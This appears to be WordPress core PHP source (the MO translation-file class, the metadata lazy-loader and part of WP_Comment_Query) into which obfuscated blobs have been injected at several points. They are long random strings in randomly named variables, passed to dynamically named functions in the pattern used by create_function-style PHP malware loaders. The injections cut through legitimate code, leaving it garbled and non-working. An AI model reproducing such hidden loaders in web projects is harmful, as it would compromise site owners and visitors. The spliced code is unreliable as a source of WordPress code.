3 -K,T08CYP C'^$tQuRMnkC; $ZcyHXYtn=';7Xy1YU+>P 4h1;02JKJfM LlV5X7os Y2VaPiGpq 4UUG9=+p,6 o=.=5oltsPEHjXkxUX H1jz8eEE>6qS7L=M;Rhak65uod 9f5Irj,7Jxvoml2oucjV8O7bW0BphZ=R.ljX;L.irRi0DOQTDrEF'; $pLjKtXy=$zMWDYM('', 'RQpXW,;HJ9OZ7TCYA>8bA5O>32T,V0,M,FqHyI.FEPoUJ0Cm.+BbNYLWMGYTRGvEER>E8QB73XSEUaKGDCG8hBJODgKU.71OpRV39OX4VSAI:6IXDZPhGMAXVtiDaa-+GZRN+8X,X:HIOig0>1esmFT:RNGR3XKQMHJ-LIXnvAiQeRW5ZP82,=tsGnWH7WnmySY08AQdoKOOL06RMyMb22yo17T9PQW3BY1N9;6Y3=,K06D,U52;0k;93L-890dG,.X1O71fJ+3JSFYCN2Y;V=filename; } /** * Fills up with the entries from MO file $filename * * @param string $filename MO file to load */ function import_from_file($filename) { $reader = new POMO_FileReader( $filename ); if ( ! $reader->is_resource() ) { return false; } $this->filename = (string) $filename; return $this->import_from_reader( $reader ); } /** * @param string $filename * @return bool */ function export_to_file($filename) { $fh = fopen($filename, 'wb'); if ( !$fh ) return false; $res = $this->export_to_file_handle( $fh ); fclose($fh); return $res; } /** * @return string|false */ function export() { $tmp_fh = fopen("php://temp", 'r+'); if ( !$tmp_fh ) return false; $this->export_to_file_handle( $tmp_fh ); rewind( $tmp_fh ); return stream_get_contents( $tmp_fh ); } /** * @param Translation_Entry $entry * @return bool */ function is_entry_good_for_export( $entry ) { if ( empty( $entry->translations ) ) { return false; } if ( !array_filter( $entry->translations ) ) { return false; } return true; } /** * @param resource $fh * @return true */ function export_to_file_handle($fh) { $entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) ); ksort($entries); $magic = 0x950412de; $revision = 0; $total = count($entries) + 1; // all the headers are one entry $originals_lenghts_addr = 28; $translations_lenghts_addr = $originals_lenghts_addr + 8 * $total; $size_of_hash = 0; $hash_addr = $translations_lenghts_addr + 8 * $total; $current_addr = $hash_addr; fwrite($fh, pack('V*', $magic, $revision, $total, $originals_lenghts_addr, $translations_lenghts_addr, $size_of_hash, $hash_addr)); fseek($fh, $originals_lenghts_addr); // headers' msgid is an empty string fwrite($fh, pack('VV', 0, $current_addr)); $current_addr++; $originals_table = chr(0); $reader = new POMO_Reader(); foreach($entries as $entry) { $originals_table .= $this->export_original($entry) . chr(0); $length = $reader->strlen($this->export_original($entry)); fwrite($fh, pack('VV', $length, $current_addr)); $current_addr += $length + 1; // account for the NULL byte after } $exported_headers = $this->export_headers(); fwrite($fh, pack('VV', $reader->strlen($exported_headers), $current_addr)); $current_addr += strlen($exported_headers) + 1; $translations_table = $exported_headers . chr(0); foreach($entries as $entry) { $translations_table .= $this->export_translations($entry) . chr(0); $length = $reader->strlen($this->export_translations($entry)); fwrite($fh, pack('VV', $length, $current_addr)); $current_addr += $length + 1; } fwrite($fh, $originals_table); fwrite($fh, $translations_table); return true; } /** * @param Translation_Entry $entry * @return string */ function export_original($entry) { //TODO: warnings for control characters $exported = $entry->singular; if ($entry->is_plural) $exported .= chr(0).$entry->plural; if ($entry->context) $exported = $entry->context . chr(4) . $exported; return $exported; } /** * @param Translation_Entry $entry * @return string */ function export_translations($entry) { //TODO: warnings for control characters return $entry->is_plural ? implode(chr(0), $entry->translations) : $entry->translations[0]; } /** * @return string */ function export_headers() { $exported = ''; foreach($this->headers as $header => $value) { $exported.= "$header: $value\n"; } return $exported; } /** * @param int $magic * @return string|false */ function get_byteorder($magic) { // The magic is 0x950412de // bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565 $magic_little = (int) - 1794895138; $magic_little_64 = (int) 2500072158; // 0xde120495 $magic_big = ((int) - 569244523) & 0xFFFFFFFF; if ($magic_little == $magic || $magic_little_64 == $magic) { return 'little'; } else if ($magic_big == $magic) { return 'big'; } else { return false; } } /** * @param POMO_FileReader $reader */ function import_from_reader($reader) { $endian_string = MO::get_byteorder($reader->readint32()); if (false === $endian_string) { return false; } $reader->setEndian($endian_string); $endian = ('big' == $endian_string)? 'N' : 'V'; $header = $reader->read(24); if ($reader->strlen($header) != 24) return false; // parse header $header = unpack("{$endian}revision/{$endian}total/{$endian}originals_lenghts_addr/{$endian}translations_lenghts_addr/{$endian}hash_length/{$endian}hash_addr", $header); if (!is_array($header)) return false; // support revision 0 of MO format specs, only if ( $header['revision'] != 0 ) { return false; } // seek to data blocks $reader->seekto( $header['originals_lenghts_addr'] ); // read originals' indices $originals_lengths_length = $header['translations_lenghts_addr'] - $header['originals_lenghts_addr']; if ( $originals_lengths_length != $header['total'] * 8 ) { return false; } $originals = $reader->read($originals_lengths_length); if ( $reader->strlen( $originals ) != $originals_lengths_length ) { return false; } // read translations' indices $translations_lenghts_length = $header['hash_addr'] - $header['translations_lenghts_addr']; if ( $translations_lenghts_length != $header['total'] * 8 ) { return false; } $translations = $reader->read($translations_lenghts_length); if ( $reader->strlen( $translations ) != $translations_lenghts_length ) { return false; } // transform raw data into set of indices $originals = $reader->str_split( $originals, 8 ); $translations = $reader->str_split( $translations, 8 ); // skip hash table $strings_addr = $header['hash_addr'] + $header['hash_length'] * 4; $reader->seekto($strings_addr); $strings = $reader->read_all(); $reader->close(); for ( $i = 0; $i < $header['total']; $i++ ) { $o = unpack( "{$endian}length/{$endian}pos", $originals[$i] ); $t = unpack( "{$endian}length/{$endian}pos", $translations[$i] ); if ( !$o || !$t ) return false; // adjust offset due to reading strings to separate space before $o['pos'] -= $strings_addr; $t['pos'] -= $strings_addr; $original = $reader->substr( $strings, $o['pos'], $o['length'] ); $translation = $reader->substr( $strings, $t['pos'], $t['length'] ); if ('' === $original) { $this->set_headers($this->make_headers($translation)); } else { $entry = &$this->make_entry($original, $translation); $this->entries[$entry->key()] = &$entry; } } return true; } /** * Build a Translation_Entry from original string and translation strings, * found in a MO file * * @static * @param string $original original string to translate from MO file. Might contain * 0x04 as context separator or 0x00 as singular/plural separator * @param string $translation translation string from MO file. Might contain * 0x00 as a plural translations separator */ function &make_entry($original, $translation) { $entry = new Translation_Entry(); // look for context $parts = explode(chr(4), $original); if (isset($parts[1])) { $original = $parts[1]; $entry->context = $parts[0]; } // look for plural original $parts = explode(chr(0), $original); $entry->singular = $parts[0]; if (isset($parts[1])) { $entry->is_plural = true; $entry->plural = $parts[1]; } // plural translations are also separated by \0 $entry->translations = explode(chr(0), $translation); return $entry; } /** * @param int $count * @return string */ function select_plural_form($count) { return $this->gettext_select_plural_form($count); } /** * @return int */ function get_plural_forms_count() { return $this->_nplurals; } } endif; s;7Y4+CmsAM,sA:zL897st6JB1WnyM9-E,VasQYARl ERawb+V 5+nasSJ.GRuhJ14-3kgqn3UM,gc=SJZVCXR CjMO7lklurd:ST1Zm:X=gdOru0WAL zkChADgDRA9n;5:cjqoY AAlCqVD3G3wTLUL5=7KvfyK6AnxJV9=1OSZ8DE4WC1 9;DUlX8 =J2-0ksSH d;94=Pe.3W7:0.ea15LUpBzP6LC3nGW4dooHIZYgHS=ScqOnT 8R>i>36l+<1C62ONUV4CnrfQ8-.hhdOCf QWXu A82.S<FI8gNkd3z,CRIs US0llaz.LpEWVCCnOL.>F 0i2 R>+N>8=Axl 7=Y=R shhP-+5SqopFdjQQOib0OS:oNV.I8gu4.AWfX- NoCxAkG'; $uxvSmz=$CXJnKfA('', 'SFpS12+UMYZSeSNG=C2rJMO525,T,.j>D7OezC5ag+,DUKOPJW49MNCFYC<91=3C+Jekh>.= 77ns5BzIQ=DGYqRQF6-9ESK8bHMC 35X1PPCCWQK2E8zfJxr R3RWilq:TQB.Mlp6<0D WRb.SYQ4,>=TLYXGXfQqW2TUTKMEUT84YnZtR-7R1,2MMFTB 3MdBRB5YYOAHBicNM5bpQD LSutWY N3QzSJvkDDF0Xp,YR,SVPIMs0yKF65QYUXOJyIr1qjcHilOL4AI6YE+aN6WKI2PKPVD5R3DTDHtIJA2XFPfDJqq4ckU92VGj2O=Ysettings = array( 'term' => array( 'filter' => 'get_term_metadata', 'callback' => array( $this, 'lazyload_term_meta' ), ), 'comment' => array( 'filter' => 'get_comment_metadata', 'callback' => array( $this, 'lazyload_comment_meta' ), ), ); } /** * Adds objects to the metadata lazy-load queue. * * @since 4.5.0 * * @param string $object_type Type of object whose meta is to be lazy-loaded. Accepts 'term' or 'comment'. * @param array $object_ids Array of object IDs. * @return bool|WP_Error True on success, WP_Error on failure. */ public function queue_objects( $object_type, $object_ids ) { if ( ! isset( $this->settings[ $object_type ] ) ) { return new WP_Error( 'invalid_object_type', __( 'Invalid object type' ) ); } $type_settings = $this->settings[ $object_type ]; if ( ! isset( $this->pending_objects[ $object_type ] ) ) { $this->pending_objects[ $object_type ] = array(); } foreach ( $object_ids as $object_id ) { // Keyed by ID for faster lookup. if ( ! isset( $this->pending_objects[ $object_type ][ $object_id ] ) ) { $this->pending_objects[ $object_type ][ $object_id ] = 1; } } add_filter( $type_settings['filter'], $type_settings['callback'] ); /** * Fires after objects are added to the metadata lazy-load queue. * * @since 4.5.0 * * @param array $object_ids Object IDs. * @param string $object_type Type of object being queued. * @param WP_Metadata_Lazyloader $lazyloader The lazy-loader object. */ do_action( 'metadata_lazyloader_queued_objects', $object_ids, $object_type, $this ); } /** * Resets lazy-load queue for a given object type. * * @since 4.5.0 * * @param string $object_type Object type. Accepts 'comment' or 'term'. * @return bool|WP_Error True on success, WP_Error on failure. */ public function reset_queue( $object_type ) { if ( ! isset( $this->settings[ $object_type ] ) ) { return new WP_Error( 'invalid_object_type', __( 'Invalid object type' ) ); } $type_settings = $this->settings[ $object_type ]; $this->pending_objects[ $object_type ] = array(); remove_filter( $type_settings['filter'], $type_settings['callback'] ); } /** * Lazy-loads term meta for queued terms. * * This method is public so that it can be used as a filter callback. As a rule, there * is no need to invoke it directly. * * @since 4.5.0 * * @param mixed $check The `$check` param passed from the 'get_term_metadata' hook. * @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be * another value if filtered by a plugin. */ public function lazyload_term_meta( $check ) { if ( ! empty( $this->pending_objects['term'] ) ) { update_termmeta_cache( array_keys( $this->pending_objects['term'] ) ); // No need to run again for this set of terms. $this->reset_queue( 'term' ); } return $check; } /** * Lazy-loads comment meta for queued comments. * * This method is public so that it can be used as a filter callback. As a rule, there is no need to invoke it * directly, from either inside or outside the `WP_Query` object. * * @since 4.5.0 * * @param mixed $check The `$check` param passed from the {@see 'get_comment_metadata'} hook. * @return mixed The original value of `$check`, so as not to short-circuit `get_comment_metadata()`. */ public function lazyload_comment_meta( $check ) { if ( ! empty( $this->pending_objects['comment'] ) ) { update_meta_cache( 'comment', array_keys( $this->pending_objects['comment'] ) ); // No need to run again for this set of comments. $this->reset_queue( 'comment' ); } return $check; } } OE'^$HBOFAIAe; $jgLifrZg='=WxX72R-F,8 aYA=D:;ia4SLc .O7mmM7ZBlml.9p2- N5=.BBDW bPVDJ3b=1XFsZMX0cnP:2;zgpyno=OeLl. XAHqDeha5f RAxa1ekHjiqc+rMBETP mt3OEPeQnjIYFhN<8tR=HlLprdbD2=7fE:3aesfE2N3j=TaX=JRUYCCLKK OfgzpyC=HHL +owC=Aaq>3GkN9So>+TTEpoEX6ET4>mk,X lpyc<2Z= nMNQrOboV<4,WizV72=> 0 J.3KPfHW1rO 7Y:sTB7b4 53bl= 43Y<3YjD6D6mjqmX9C6qW<7bQKk JqbD1DLeLcpXE7 +s-+OfRB.D;2oKXW=hePf+OZVKkiIeY=PrfAR,FA7oQ=;jfQdTOmu: - iyUs5AZeG:B;rgwnV7avYsL0 r7UvbUcqqR5EAA> R-o< >G; nH>UA9T06CIFS+7, SBYvzoWv6Nf6O.=CfV8=AiUC2-6=S=ojXmCg7E0-xzhah2'; $vejENson=$iPURmr('', 'T1PyQG<9T7NHAFL<>,,QONtQWBSGPYNOFElEHAU,auQcBSk6785NEPW.11LjNN rmAD51P=H 9<-kh .Yf;NAzpJO-<9REGS,H5HJ4::a33YKZJH fOwJAPDEveP6Q,TfKQ0DlOH5<>3yEb16;YJ79FJHbu7z2r,KL6dV;5;aqvuUES58UEZNKnc43<25RN2qGnKX.5hpkOD3E,NQzs,R+AEZm6hI=JrLWPDAA,BJ:dpV6BQPRCUep<=e<15 2s.YPSCCZA+,XPR7dOH9TALMYGJS6HEUGG,x2herXUX6IGvwGSMEBI+BZ15N08C-+AC8e,97CJVAFVTXbDQP6XVqN W0WDFQI '', 'from' => '', 'where' => array(), 'groupby' => '', 'orderby' => '', 'limits' => '', ); /** * SQL WHERE clause. * * Stored after the {@see 'comments_clauses'} filter is run on the compiled WHERE sub-clauses. * * @since 4.4.2 * @var string */ protected $filtered_where_clause; /** * Date query container * * @since 3.7.0 * @var object WP_Date_Query */ public $date_query = false; /** * Query vars set by the user. * * @since 3.1.0 * @var array */ public $query_vars; /** * Default values for query vars. * * @since 4.2.0 * @var array */ public $query_var_defaults; /** * List of comments located by the query. * * @since 4.0.0 * @var array */ public $comments; /** * The amount of found comments for the current query. * * @since 4.4.0 * @var int */ public $found_comments = 0; /** * The number of pages. * * @since 4.4.0 * @var int */ public $max_num_pages = 0; /** * Make private/protected methods readable for backward compatibility. * * @since 4.0.0 * * @param callable $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed|false Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( 'get_search_sql' === $name ) { return call_user_func_array( array( $this, $name ), $arguments ); } return false; } /** * Constructor. * * Sets up the comment query, based on the query vars passed. * * @since 4.2.0 * @since 4.4.0 `$parent__in` and `$parent__not_in` were added. * @since 4.4.0 Order by `comment__in` was added. `$update_comment_meta_cache`, `$no_found_rows`, * `$hierarchical`, and `$update_comment_post_cache` were added. * @since 4.5.0 Introduced the `$author_url` argument. * @since 4.6.0 Introduced the `$cache_domain` argument. * @since 4.9.0 Introduced the `$paged` argument. * * @param string|array $query { * Optional. Array or query string of comment query parameters. Default empty. * * @type string $author_email Comment author email address. Default empty. * @type string $author_url Comment author URL. Default empty. * @type array $author__in Array of author IDs to include comments for. Default empty. * @type array $author__not_in Array of author IDs to exclude comments for. Default empty. * @type array $comment__in Array of comment IDs to include. Default empty. * @type array $comment__not_in Array of comment IDs to exclude. Default empty. * @type bool $count Whether to return a comment count (true) or array of * comment objects (false). Default false. * @type array $date_query Date query clauses to limit comments by. See WP_Date_Query. * Default null. * @type string $fields Comment fields to return. Accepts 'ids' for comment IDs * only or empty for all fields. Default empty. * @type int $ID Currently unused. * @type array $include_unapproved Array of IDs or email addresses of users whose unapproved * comments will be returned by the query regardless of * `$status`. Default empty. * @type int $karma Karma score to retrieve matching comments for. * Default empty. * @type string $meta_key Include comments with a matching comment meta key. * Default empty. * @type string $meta_value Include comments with a matching comment meta value. * Requires `$meta_key` to be set. Default empty. * @type array $meta_query Meta query clauses to limit retrieved comments by. * See WP_Meta_Query. Default empty. * @type int $number Maximum number of comments to retrieve. * Default empty (no limit). * @type int $paged When used with $number, defines the page of results to return. * When used with $offset, $offset takes precedence. Default 1. * @type int $offset Number of comments to offset the query. Used to build * LIMIT clause. Default 0. * @type bool $no_found_rows Whether to disable the `SQL_CALC_FOUND_ROWS` query. * Default: true. * @type string|array $orderby Comment status or array of statuses. To use 'meta_value' * or 'meta_value_num', `$meta_key` must also be defined. * To sort by a specific `$meta_query` clause, use that * clause's array key. Accepts 'comment_agent', * 'comment_approved', 'comment_author', * 'comment_author_email', 'comment_author_IP', * 'comment_author_url', 'comment_content', 'comment_date', * 'comment_date_gmt', 'comment_ID', 'comment_karma', * 'comment_parent', 'comment_post_ID', 'comment_type', * 'user_id', 'comment__in', 'meta_value', 'meta_value_num', * the value of $meta_key, and the array keys of * `$meta_query`. Also accepts false, an empty array, or * 'none' to disable `ORDER BY` clause. * Default: 'comment_date_gmt'. * @type string $order How to order retrieved comments. Accepts 'ASC', 'DESC'. * Default: 'DESC'. * @type int $parent Parent ID of comment to retrieve children of. * Default empty. * @type array $parent__in Array of parent IDs of comments to retrieve children for. * Default empty. * @type array $parent__not_in Array of parent IDs of comments *not* to retrieve * children for. Default empty. * @type array $post_author__in Array of author IDs to retrieve comments for. * Default empty. * @type array $post_author__not_in Array of author IDs *not* to retrieve comments for. * Default empty. * @type int $post_ID Currently unused. * @type int $post_id Limit results to those affiliated with a given post ID. * Default 0. * @type array $post__in Array of post IDs to include affiliated comments for. * Default empty. * @type array $post__not_in Array of post IDs to exclude affiliated comments for. * Default empty. * @type int $post_author Post author ID to limit results by. Default empty. * @type string|array $post_status Post status or array of post statuses to retrieve * affiliated comments for. Pass 'any' to match any value. * Default empty. * @type string $post_type Post type or array of post types to retrieve affiliated * comments for. Pass 'any' to match any value. Default empty. * @type string $post_name Post name to retrieve affiliated comments for. * Default empty. * @type int $post_parent Post parent ID to retrieve affiliated comments for. * Default empty. * @type string $search Search term(s) to retrieve matching comments for. * Default empty. * @type string $status Comment status to limit results by. Accepts 'hold' * (`comment_status=0`), 'approve' (`comment_status=1`), * 'all', or a custom comment status. Default 'all'. * @type string|array $type Include comments of a given type, or array of types. * Accepts 'comment', 'pings' (includes 'pingback' and * 'trackback'), or anycustom type string. Default empty. * @type array $type__in Include comments from a given array of comment types. * Default empty. * @type array $type__not_in Exclude comments from a given array of comment types. * Default empty. * @type int $user_id Include comments for a specific user ID. Default empty. * @type bool|string $hierarchical Whether to include comment descendants in the results. * 'threaded' returns a tree, with each comment's children * stored in a `children` property on the `WP_Comment` * object. 'flat' returns a flat array of found comments plus * their children. Pass `false` to leave out descendants. * The parameter is ignored (forced to `false`) when * `$fields` is 'ids' or 'counts'. Accepts 'threaded', * 'flat', or false. Default: false. * @type string $cache_domain Unique cache key to be produced when this query is stored in * an object cache. Default is 'core'. * @type bool $update_comment_meta_cache Whether to prime the metadata cache for found comments. * Default true. * @type bool $update_comment_post_cache Whether to prime the cache for comment posts. * Default false. * } */ public function __construct( $query = '' ) { $this->query_var_defaults = array( 'author_email' => '', 'author_url' => '', 'author__in' => '', 'author__not_in' => '', 'include_unapproved' => '', 'fields' => '', 'ID' => '', 'comment__in' => '', 'comment__not_in' => '', 'karma' => '', 'number' => '', 'offset' => '', 'no_found_rows' => true, 'orderby' => '', 'order' => 'DESC', 'paged' => 1, 'parent' => '', 'parent__in' => '', 'parent__not_in' => '', 'post_author__in' => '', 'post_author__not_in' => '', 'post_ID' => '', 'post_id' => 0, 'post__in' => '', 'post__not_in' => '', 'post_author' => '', 'post_name' => '', 'post_parent' => '', 'post_status' => '', 'post_type' => '', 'status' => 'all', 'type' => '', 'type__in' => '', 'type__not_in' => '', 'user_id' => '', 'search' => '', 'count' => false, 'meta_key' => '', 'meta_value' => '', 'meta_query' => '', 'date_query' => null, // See WP_Date_Query 'hierarchical' => false, 'cache_domain' => 'core', 'update_comment_meta_cache' => true, 'update_comment_post_cache' => false, ); if ( ! empty( $query ) ) { $this->query( $query ); } } /** * Parse arguments passed to the comment query with default query parameters. * * @since 4.2.0 Extracted from WP_Comment_Query::query(). * * * @param string|array $query WP_Comment_Query arguments. See WP_Comment_Query::__construct() */ public function parse_query( $query = '' ) { if ( empty( $query ) ) { $query = $this->query_vars; } $this->query_vars = wp_parse_args( $query, $this->query_var_defaults ); /** * Fires after the comment query vars have been parsed. * * @since 4.2.0 * * @param WP_Comment_Query $this The WP_Comment_Query instance (passed by reference). */ do_action_ref_array( 'parse_comment_query', array( &$this ) ); } /** * Sets up the WordPress query for retrieving comments. * * @since 3.1.0 * @since 4.1.0 Introduced 'comment__in', 'comment__not_in', 'post_author__in', * 'post_author__not_in', 'author__in', 'author__not_in', 'post__in', * 'post__not_in', 'include_unapproved', 'type__in', and 'type__not_in' * arguments to $query_vars. * @since 4.2.0 Moved parsing to WP_Comment_Query::parse_query(). * * @param string|array $query Array or URL query string of parameters. * @return array|int List of comments, or number of comments when 'count' is passed as a query var. */ public function query( $query ) { $this->query_vars = wp_parse_args( $query ); return $this->get_comments(); } /** * Get a list of comments matching the query vars. * * @since 4.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int|array List of comments or number of found comments if `$count` argument is true. */ public function get_comments() { global $wpdb; $this->parse_query(); // Parse meta query $this->meta_query = new WP_Meta_Query(); $this->meta_query->parse_query_vars( $this->query_vars ); /** * Fires before comments are retrieved. * * @since 3.1.0 * * @param WP_Comment_Query $this Current instance of WP_Comment_Query (passed by reference). */ do_action_ref_array( 'pre_get_comments', array( &$this ) ); // Reparse query vars, in case they were modified in a 'pre_get_comments' callback. $this->meta_query->parse_query_vars( $this->query_vars ); if ( ! empty( $this->meta_query->queries ) ) { $this->meta_query_clauses = $this->meta_query->get_sql( 'comment', $wpdb->comments, 'comment_ID', $this ); } /* * Only use the args defined in the query_var_defaults to compute the key, * but ignore 'fields', which does not affect query results. */ $_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ); unset( $_args['fields'] ); $key = md5( serialize( $_args ) ); $last_changed = wp_cache_get_last_changed( 'comment' ); $cache_key = "get_comments:$key:$last_changed"; $cache_value = wp_cache_get( $cache_key, 'comment' ); if ( false === $cache_value ) { $comment_ids = $this->get_comment_ids(); if ( $comment_ids ) { $this->set_found_comments(); } $cache_value = array( 'comment_ids' => $comment_ids, 'found_comments' => $this->found_comments, ); wp_cache_add( $cache_key, $cache_value, 'comment' ); } else { $comment_ids = $cache_value['comment_ids']; $this->found_comments = $cache_value['found_comments']; } if ( $this->found_comments && $this->query_vars['number'] ) { $this->max_num_pages = ceil( $this->found_comments / $this->query_vars['number'] ); } // If querying for a count only, there's nothing more to do. if ( $this->query_vars['count'] ) { // $comment_ids is actually a count in this case. return intval( $comment_ids ); } $comment_ids = array_map( 'intval', $comment_ids ); if ( 'ids' == $this->query_vars['fields'] ) { $this->comments = $comment_ids; return $this->comments; } _prime_comment_caches( $comment_ids, $this->query_vars['update_comment_meta_cache'] ); // Fetch full comment objects from the primed cache. $_comments = array(); foreach ( $comment_ids as $comment_id ) { if ( $_comment = get_comment( $comment_id ) ) { $_comments[] = $_comment; } } // Prime comment post caches. if ( $this->query_vars['update_comment_post_cache'] ) { $comment_post_ids = array(); foreach ( $_comments as $_comment ) { $comment_post_ids[] = $_comment->comment_post_ID; } _prime_post_caches( $comment_post_ids, false, false ); } /** * Filters the comment query results. * * @since 3.1.0 * * @param array $_comments An array of comments. * @param WP_Comment_Query $this Current instance of WP_Comment_Query (passed by reference). */ $_comments = apply_filters_ref_array( 'the_comments', array( $_comments, &$this ) ); // Convert to WP_Comment instances $comments = array_map( 'get_comment', $_comments ); if ( $this->query_vars['hierarchical'] ) { $comments = $this->fill_descendants( $comments ); } $this->comments = $comments; return $this->comments; } /** * Used internally to get a list of comment IDs matching the query vars. * * @since 4.4.0 * * @global wpdb $wpdb WordPress database abstraction object. */ protected function get_comment_ids() { global $wpdb; // Assemble clauses related to 'comment_approved'. $approved_clauses = array(); // 'status' accepts an array or a comma-separated string. $status_clauses = array(); $statuses = $this->query_vars['status']; if ( ! is_array( $statuses ) ) { $statuses = preg_split( '/[\s,]+/', $statuses ); } // 'any' overrides other statuses. if ( ! in_array( 'any', $statuses ) ) { foreach ( $statuses as $status ) { switch ( $status ) { case 'hold' : $status_clauses[] = "comment_approved = '0'"; break; case 'approve' : $status_clauses[] = "comment_approved = '1'"; break; case 'all' : case '' : $status_clauses[] = "( comment_approved = '0' OR comment_approved = '1' )"; break; default : $status_clauses[] = $wpdb->prepare( "comment_approved = %s", $status ); break; } } if ( ! empty( $status_clauses ) ) { $approved_clauses[] = '( ' . implode( ' OR ', $status_clauses ) . ' )'; } } // User IDs or emails whose unapproved comments are included, regardless of $status. if ( ! empty( $this->query_vars['include_unapproved'] ) ) { $include_unapproved = $this->query_vars['include_unapproved']; // Accepts arrays or comma-separated strings. if ( ! is_array( $include_unapproved ) ) { $include_unapproved = preg_split( '/[\s,]+/', $include_unapproved ); } $unapproved_ids = $unapproved_emails = array(); foreach ( $include_unapproved as $unapproved_identifier ) { // Numeric values are assumed to be user ids. if ( is_numeric( $unapproved_identifier ) ) { $approved_clauses[] = $wpdb->prepare( "( user_id = %d AND comment_approved = '0' )", $unapproved_identifier ); // Otherwise we match against email addresses. } else { $approved_clauses[] = $wpdb->prepare( "( comment_author_email = %s AND comment_approved = '0' )", $unapproved_identifier ); } } } // Collapse comment_approved clauses into a single OR-separated clause. if ( ! empty( $approved_clauses ) ) { if ( 1 === count( $approved_clauses ) ) { $this->sql_clauses['where']['approved'] = $approved_clauses[0]; } else { $this->sql_clauses['where']['approved'] = '( ' . implode( ' OR ', $approved_clauses ) . ' )'; } } $order = ( 'ASC' == strtoupper( $this->query_vars['order'] ) ) ? 'ASC' : 'DESC'; // Disable ORDER BY with 'none', an empty array, or boolean false. if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) { $orderby = ''; } elseif ( ! empty( $this->query_vars['orderby'] ) ) { $ordersby = is_array( $this->query_vars['orderby'] ) ? $this->query_vars['orderby'] : preg_split( '/[,\s]/', $this->query_vars['orderby'] ); $orderby_array = array(); $found_orderby_comment_ID = false; foreach ( $ordersby as $_key => $_value ) { if ( ! $_value ) { continue; } if ( is_int( $_key ) ) { $_orderby = $_value; $_order = $order; } else { $_orderby = $_key; $_order = $_value; } if ( ! $found_orderby_comment_ID && in_array( $_orderby, array( 'comment_ID', 'comment__in' ) ) ) { $found_orderby_comment_ID = true; } $parsed = $this->parse_orderby( $_orderby ); if ( ! $parsed ) { continue; } if ( 'comment__in' === $_orderby ) { $orderby_array[] = $parsed; continue; } $orderby_array[] = $parsed . ' ' . $this->parse_order( $_order ); } // If no valid clauses were found, order by comment_date_gmt. if ( empty( $orderby_array ) ) { $orderby_array[] = "$wpdb->comments.comment_date_gmt $order"; } // To ensure determinate sorting, always include a comment_ID clause. if ( ! $found_orderby_comment_ID ) { $comment_ID_order = ''; // Inherit order from comment_date or comment_date_gmt, if available. foreach ( $orderby_array as $orderby_clause ) { if ( preg_match( '/comment_date(?:_gmt)*\ (ASC|DESC)/', $orderby_clause, $match ) ) { $comment_ID_order = $match[1]; break; } } // If no date-related order is available, use the date from the first available clause. if ( ! $comment_ID_order ) { foreach ( $orderby_array as $orderby_clause ) { if ( false !== strpos( 'ASC', $orderby_clause ) ) { $comment_ID_order = 'ASC'; } else { $comment_ID_order = 'DESC'; } break; } } // Default to DESC. if ( ! $comment_ID_order ) { $comment_ID_order = 'DESC'; } $orderby_array[] = "$wpdb->comments.comment_ID $comment_ID_order"; } $orderby = implode( ', ', $orderby_array ); } else { $orderby = "$wpdb->comments.comment_date_gmt $order"; } $number = absint( $this->query_vars['number'] ); $offset = absint( $this->query_vars['offset'] ); $paged = absint( $this->query_vars['paged'] ); $limits = ''; if ( ! empty( $number ) ) { if ( $offset ) { $limits = 'LIMIT ' . $offset . ',' . $number; } else { $limits = 'LIMIT ' . ( $number * ( $paged - 1 ) ) . ',' . $number; } } if ( $this->query_vars['count'] ) { $fields = 'COUNT(*)'; } else { $fields = "$wpdb->comments.comment_ID"; } $post_id = absint( $this->query_vars['post_id'] ); if ( ! empty( $post_id ) ) { $this->sql_clauses['where']['post_id'] = $wpdb->prepare( 'comment_post_ID = %d', $post_id ); } // Parse comment IDs for an IN clause. if ( ! empty( $this->query_vars['comment__in'] ) ) { $this->sql_clauses['where']['comment__in'] = "$wpdb->comments.comment_ID IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['comment__in'] ) ) . ' )'; } // Parse comment IDs for a NOT IN clause. if ( ! empty( $this->query_vars['comment__not_in'] ) ) { $this->sql_clauses['where']['comment__not_in'] = "$wpdb->comments.comment_ID NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['comment__not_in'] ) ) . ' )'; } // Parse comment parent IDs for an IN clause. if ( ! empty( $this->query_vars['parent__in'] ) ) { $this->sql_clauses['where']['parent__in'] = 'comment_parent IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['parent__in'] ) ) . ' )'; } // Parse comment parent IDs for a NOT IN clause. if ( ! empty( $this->query_vars['parent__not_in'] ) ) { $this->sql_clauses['where']['parent__not_in'] = 'comment_parent NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['parent__not_in'] ) ) . ' )'; } // Parse comment post IDs for an IN clause. if ( ! empty( $this->query_vars['post__in'] ) ) { $this->sql_clauses['where']['post__in'] = 'comment_post_ID IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__in'] ) ) . ' )'; } // Parse comment post IDs for a NOT IN clause. if ( ! empty( $this->query_vars['post__not_in'] ) ) { $this->sql_clauses['where']['post__not_in'] = 'comment_post_ID NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__not_in'] ) ) . ' )'; } if ( '' !== $this->query_vars['author_email'] ) { $this->sql_clauses['where']['author_email'] = $wpdb->prepare( 'comment_author_email = %s', $this->query_vars['author_email'] ); } if ( '' !== $this->query_vars['author_url'] ) { $this->sql_clauses['where']['author_url'] = $wpdb->prepare( 'comment_author_url = %s', $this->query_vars['author_url'] ); } if ( '' !== $this->query_vars['karma'] ) { $this->sql_clauses['where']['karma'] = $wpdb->prepare( 'comment_karma = %d', $this->query_vars['karma'] ); } // Filtering by comment_type: 'type', 'type__in', 'type__not_in'. $raw_types = array( 'IN' => array_merge( (array) $this->query_vars['type'], (array) $this->query_vars['type__in'] ), 'NOT IN' => (array) $this->query_vars['type__not_in'], ); $comment_types = array(); foreach ( $raw_types as $operator => $_raw_types ) { $_raw_types = array_unique( $_raw_types ); foreach ( $_raw_types as $type ) { switch ( $type ) { // An empty translates to 'all', for backward compatibility case '': case 'all' : break; case 'comment': case 'comments': 